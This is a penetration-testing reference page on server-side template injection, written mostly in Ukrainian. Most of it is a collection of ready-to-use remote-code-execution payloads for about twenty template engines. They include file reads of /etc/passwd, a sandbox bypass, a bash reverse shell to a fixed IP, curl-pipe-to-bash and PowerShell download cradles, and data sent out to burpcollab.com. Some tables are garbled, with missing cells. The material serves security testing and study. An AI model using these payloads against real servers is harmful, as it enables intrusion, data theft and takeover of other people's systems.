SSTI (Server Side Template Injection)

Support HackTricks

RootedCON є найважливішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою популяризації технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.

What is SSTI (Server-Side Template Injection)

Server-side template injection — це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.

Jinja — це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:

output = template.render(name=request.args.get('name'))

В цьому вразливому коді параметр name з запиту користувача безпосередньо передається в шаблон за допомогою функції render. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр name, що призведе до ін'єкції шаблона на стороні сервера.

Наприклад, зловмисник може створити запит з корисним навантаженням, як це:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Пейлоад {{bad-stuff-here}} впроваджується в параметр name. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.

Щоб запобігти вразливостям ін'єкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.

Виявлення

Щоб виявити ін'єкцію шаблонів на стороні сервера (SSTI), спочатку фуззинг шаблону є простим підходом. Це передбачає впровадження послідовності спеціальних символів (${{<%[%'"}}%\) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:

  • Викинуті помилки, що виявляють вразливість і потенційно движок шаблонів.

  • Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.

  • Текстовий контекст: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, {{7*7}}, ${7*7}).

  • Контекст коду: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна greeting в http://vulnerable-website.com/?greeting=data.username, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у greeting=data.username}}hello, що повертає ім'я користувача.

Фаза ідентифікації

Ідентифікація движка шаблонів передбачає аналіз повідомлень про помилки або ручне тестування різних специфічних для мови пейлоадів. Загальні пейлоади, що викликають помилки, включають ${7/0}, {{7/0}} та <%= 7/0 %>. Спостереження за відповіддю сервера на математичні операції допомагає визначити конкретний движок шаблонів.

Інструменти

ефективний сканер SSTI + CSTI, який використовує нові поліглоти

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

інтерактивна таблиця, що містить найефективніші поліглоти для ін'єкцій шаблонів разом з очікуваними відповідями 44 найважливіших шаблонних движків.

Exploits

Generic

У цьому wordlist ви можете знайти змінні, визначені в середовищах деяких з наведених нижче движків:

Java

Java - Основна ін'єкція

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Отримати змінні середовища системи

${T(java.lang.System).getenv()}

Java - Отримати /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Ви можете спробувати свої payload на https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (старий)

  • ${7*'7'} Нічого

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Обхід пісочниці

⚠️ працює лише на версіях Freemarker нижче 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Більше інформації

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Більше інформації

Thymeleaf

У Thymeleaf загальним тестом на вразливості SSTI є вираз ${7*7}, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можуть бути використані такі вирази:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf вимагає, щоб ці вирази були розміщені в конкретних атрибутах. Однак вбудовування виразів підтримується для інших місць шаблонів, використовуючи синтаксис на кшталт [[...]] або [(...)]. Таким чином, простий тестовий вантаж SSTI може виглядати як [[${7*7}]].

Однак ймовірність того, що цей вантаж спрацює, зазвичай низька. За замовчуванням конфігурація Thymeleaf не підтримує динамічну генерацію шаблонів; шаблони повинні бути попередньо визначені. Розробникам потрібно реалізувати свій власний TemplateResolver, щоб створювати шаблони з рядків на льоту, що є рідкісним.

Thymeleaf також пропонує попередню обробку виразів, де вирази в подвійному підкресленні (__...__) попередньо обробляються. Цю функцію можна використовувати при побудові виразів, як показано в документації Thymeleaf:

#{selection.__${sel.code}__}

Приклад вразливості в Thymeleaf

Розгляньте наступний фрагмент коду, який може бути вразливим до експлуатації:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Більше інформації

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Обхід фільтрів

Можна використовувати кілька змінних виразів, якщо ${...} не працює, спробуйте #{...}, *{...}, @{...} або ~{...}.

  • Прочитайте /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Користувацький скрипт для генерації payload'ів

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Більше інформації

Маніпуляція з виглядом Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Стара версія Pebble ( < версія 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Нова версія Pebble:

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - це проект з відкритим кодом, розроблений компанією Hubspot, доступний за адресою https://github.com/HubSpot/jinjava/

Jinjava - Виконання команд

Виправлено за допомогою https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Більше інформації

Hubspot - HuBL (Java)

  • {% %} роздільники операторів

  • {{ }} роздільники виразів

  • {# #} роздільники коментарів

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть проект Jinjava на Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Більше інформації

Мова виразів - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:

  • JavaServer Faces (JSF): Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.

  • JavaServer Pages (JSP): EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.

  • Контексти та впровадження залежностей для Java EE (CDI): EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.

Перегляньте наступну сторінку, щоб дізнатися більше про експлуатацію EL інтерпретаторів:

EL - Expression Language

Groovy (Java)

Наступні обходи Менеджера безпеки були взяті з цього опису.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON є найактуальнішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою популяризації технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Більше інформації

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Формат шаблону

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Більше інформації

Plates (PHP)

Plates - це движок шаблонів, рідний для PHP, який черпає натхнення з Twig. Однак, на відміну від Twig, який вводить новий синтаксис, Plates використовує рідний PHP код у шаблонах, що робить його інтуїтивно зрозумілим для розробників PHP.

Контролер:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Шаблон сторінки:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Шаблон макета:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Більше інформації

PHPlib та HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB є таким же, як PHPlib, але портований до Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Більше інформації

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Більше інформації

patTemplate (PHP)

patTemplate - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Більше інформації

Handlebars (NodeJS)

Перехід по шляху (більше інформації тут).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Помилка

  • ${7*7} = ${7*7}

  • Нічого

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Більше інформації

JsRender (NodeJS)

Шаблон

Опис

Оцінити та відобразити вихід

Оцінити та відобразити HTML-кодований вихід

Коментар

і

Дозволити код (за замовчуванням вимкнено)

  • = 49

Клієнтська сторона

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Серверна сторона

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Більше інформації

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Приклад рендерингу на стороні сервера

var pugjs = require('pug');
home = pugjs.render(injected_page)

Більше інформації

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = Немає виходу

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = Помилка

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Більше інформації

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Помилка

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Більше інформації

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

Більше інформації

Python

Перегляньте наступну сторінку, щоб дізнатися трюки про обхід виконання довільних команд, минаючи пісочниці в python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Більше інформації

Jinja2 (Python)

Офіційний сайт

Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.

  • {{7*7}} = Помилка

  • ${7*7} = ${7*7}

  • {{foobar}} Нічого

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Формат шаблону

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE не залежить від __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Більше деталей про те, як зловживати Jinja:

Jinja2 SSTI

Інші пейлоади в https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Більше інформації

Razor (.Net)

  • @(2+2) <= Успіх

  • @() <= Успіх

  • @("{{code}}") <= Успіх

  • @ <=Успіх

  • @{} <= ПОМИЛКА!

  • @{ <= ПОМИЛКА!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Метод .NET System.Diagnostics.Process.Start може бути використаний для запуску будь-якого процесу на сервері і, таким чином, створення веб-оболонки. Ви можете знайти приклад вразливого веб-додатку за адресою https://github.com/cnotin/RazorVulnerableApp

Більше інформації

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Нічого

  • <%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Більше інформації

Mojolicious (Perl)

Навіть якщо це Perl, він використовує теги, як ERB у Ruby.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= perl code %>
<% perl code %>

SSTI в GO

У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:

  • {{ . }}: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом Password, {{ .Password }} може його розкрити.

  • {{printf "%s" "ssti" }}: Очікується, що відобразить рядок "ssti".

  • {{html "ssti"}}, {{js "ssti"}}: Ці пейлоади повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go тут.

Експлуатація XSS

З пакетом text/template XSS може бути простим шляхом безпосереднього вставлення пейлоаду. На відміну від цього, пакет html/template кодує відповідь, щоб запобігти цьому (наприклад, {{"<script>alert(1)</script>"}} призводить до &lt;script&gt;alert(1)&lt;/script&gt;). Проте визначення та виклик шаблону в Go можуть обійти це кодування: {{define "T1"}}alert(1){{end}} {{template "T1"}}

Експлуатація RCE

Експлуатація RCE суттєво відрізняється між html/template та text/template. Модуль text/template дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в html/template. Документація для цих модулів доступна тут для html/template та тут для text/template.

